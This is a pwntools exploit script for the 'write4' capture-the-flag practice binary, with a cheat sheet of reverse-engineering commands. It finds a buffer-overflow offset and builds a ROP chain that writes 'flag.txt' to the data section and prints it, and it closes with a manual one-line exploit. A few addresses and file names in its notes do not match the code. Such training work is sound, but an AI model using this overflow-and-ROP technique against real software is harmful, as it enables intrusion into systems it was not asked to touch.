from pwn import *

"""
How to:
    Check the file for security features
        checksec --file=<binary>                            #Check the security on the binary

    Check the binary for interesting things    
        rabin2 -qs <binary>                                 #Functions inside of the binary
        rabin2 -i <binary>                                  #Imported functions and where they are located
        rabin2 -z <binary>                                  #Programmer specific strings
        objdump -D <binary>                                 #Disassembles everything on the binary
        readelf -S <binary>                                 #Show section headers with information 
       
    Inside of gdb:
        info functions                                      #Shows the functions
        disas <function>                                    #Shows the assembly for the function specified
        p <string>                                          #Grabs the address of the specified object
        search "<string>"                                   #Search for a string and show its address
        jump <function or *Address>                         #Jumps to function or address
        b <function or *Address>                            #Sets up a breakpoint
        More into the potatos (32):
            pattern create <#> {output file}                #Creates a pattern for finding offset
            pattern offset <#>                              #Finds the offset mentioned
     
    64Bit differences:
        Need to grab the RSP beginning instead  
        If the address is only 4 bytes, pad to 8 
        ropper -f <binary>                                  #Shows all rop gadgets in a binary
        ropper -f <binary> --search "pop rdi"               #Shows all rop gadgets that can pop RDI (For system calls, you need to have the target in RDI)
        ***For 64 Bit, try popping rdi at final function***
        ***For 64 Bit, Gadget -> Variables -> Location***
            Example
                print('A'*40 + '\xc3\x07\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x60\x05\x40\x00\x00\x00\x00\x00')
                      Buffer ->           POP RDI call            ->     What is going into RDI        ->          System()
    
    ARMv5 difference:
        EIP/RIP is now PC
        POP r#, pc is the Arm equiv for the pop rdi
        
    MIPS difference:
        EIP/RIP/PC is now ra
        GDB doesn't like it so you can't use it      #Requires manual checking along with exploit dev
        
"""

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe)
    p.sendlineafter('>', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    # ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Binary filename
exe = './write4'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'debug'
# Deletes core files if used
context.delete_corefiles = True

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Grab function symbols
data_section_address = 0x0000000000601028
pop_edi_pop_ebp = 0x0000000000400690
print_file = 0x0000000000400620
mov_edi_ebp = 0x0000000000400628
pop_rdi = 0x0000000000400693

# Print out target addresses
info("%#x data_section_address", data_section_address)
info("%#x pop_edi_pop_ebp", pop_edi_pop_ebp)
info("%#x print_file", print_file)
info("%#x mov_edi_ebp", mov_edi_ebp)
info("%#x pop_rdi", pop_rdi)

# Find Buffer overflow
payload = cyclic(100)

# Send payload
io.sendlineafter("> ", payload)

# Wait for crash
io.wait()

# Displaying what the bits for the program is
info("Running offset check for {} Bits".format(context.bits))

# Read the crash file
core = io.corefile

# Locate for 64 bits
if context.bits == 64:
    # Locate RIP value and offset
    stack = core.rsp
    # Looks for the first 4 characters of the rsp to find the offset for RIP
    pattern = core.read(stack,4)
    # Finds RIP offset with pattern
    offset = cyclic_find(pattern)
    # Display offset
    info("Located RIP at {a}".format(a=offset))

# Locate for 32 bits
elif context.bits == 32:
    # Locate EIP value and offset
    eip_value = core.eip
    offset = cyclic_find(eip_value)
    # Display offset
    info("Located EIP at {a}".format(a=offset))

# Build the payload
payload = flat({
    offset: [ pop_edi_pop_ebp,
    data_section_address,
    'flag.txt',
    mov_edi_ebp,
    
    pop_rdi,
    data_section_address,
    print_file
    ]
})
print(str(payload))

'''
    pop_edi_pop_ebp,        #Pop r14 and r15 with next 2 variables
    data_section_address,   #Where I am putting data
    'flag.txt',             #Data to be put (64Bit allows more than 4 characters per register along with size being 10)
    mov_edi_ebp,            #Moving to right location
    
    pop_rdi,                #Pop rdi before function call
    data_section_address,   #What I am telling it to read
    print_file              #Function to read something
'''

# Save the payload to file
write('payload', payload)

# Start the process again
io = start()

# Send the payload
io.sendlineafter('> ', payload)
io.recvuntil('Thank you!\n')

# Or, Get our flag!
flag = io.recv()

try:
    success(flag)
except AttributeError:
    print("[+] Flag: {}".format(str(flag)))


'''
# Where to start?
    Find a place to store flag.txt
    Find a way to write it
    Store it
    pop rdi because 64Bit
    Once stored, go to read_file and pass the txt location

# How do you know what to do???
    data_section_address = 0x0000000000601028
        readelf -S write4
            [Nr] Name              Type             Address           Offset        Size              EntSize          Flags  Link  Info  Align
            [23] .data             PROGBITS         0000000000601028  00001028      0000000000000010  0000000000000000  WA       0     0     8

            Addr is what I need
            Size is how much I can write
            **W flag means I can write to it**
    
    mov_edi_ebp = 0x0000000000400628
        gdb write432
        disas usefulGadgets
            0x0000000000400628 <+0>:     mov    QWORD PTR [r14],r15
            I now need something that pops r15 into r14
    
    print_file = 0x0000000000400510
        gdb write4
        disas usefulFunctions
            0x400510 <print_file@plt>

    pop_edi_pop_ebp = 0x0000000000400690
        ropper -f write4 --search pop
            0x0000000000400690: pop r14; pop r15; ret; 
    
    pop_rdi = 0x0000000000400693
        ropper -f write4 --search pop
            0x0000000000400693: pop rdi; ret; 

    
# Manual Exploitation
data_section_address = 0x0000000000601028
'\x28\x10\x60\x00\x00\x00\x00\x00'
pop_edi_pop_ebp = 0x0000000000400690
'\x90\x06\x40\x00\x00\x00\x00\x00'
print_file = 0x0000000000400620
'\x20\x06\x40\x00\x00\x00\x00\x00'
mov_edi_ebp = 0x0000000000400628
'\x28\x06\x40\x00\x00\x00\x00\x00'
pop_rdi = 0x0000000000400693
'\x93\x06\x40\x00\x00\x00\x00\x00'

# Full manual exploit command
python -c "print 'A'*40 + '\x90\x06\x40\x00\x00\x00\x00\x00' + '\x28\x10\x60\x00\x00\x00\x00\x00' + 'flag.txt' + '\x28\x06\x40\x00\x00\x00\x00\x00' + '\x93\x06\x40\x00\x00\x00\x00\x00' + '\x28\x10\x60\x00\x00\x00\x00\x00' + '\x20\x06\x40\x00\x00\x00\x00\x00'" | ./write4 
'''
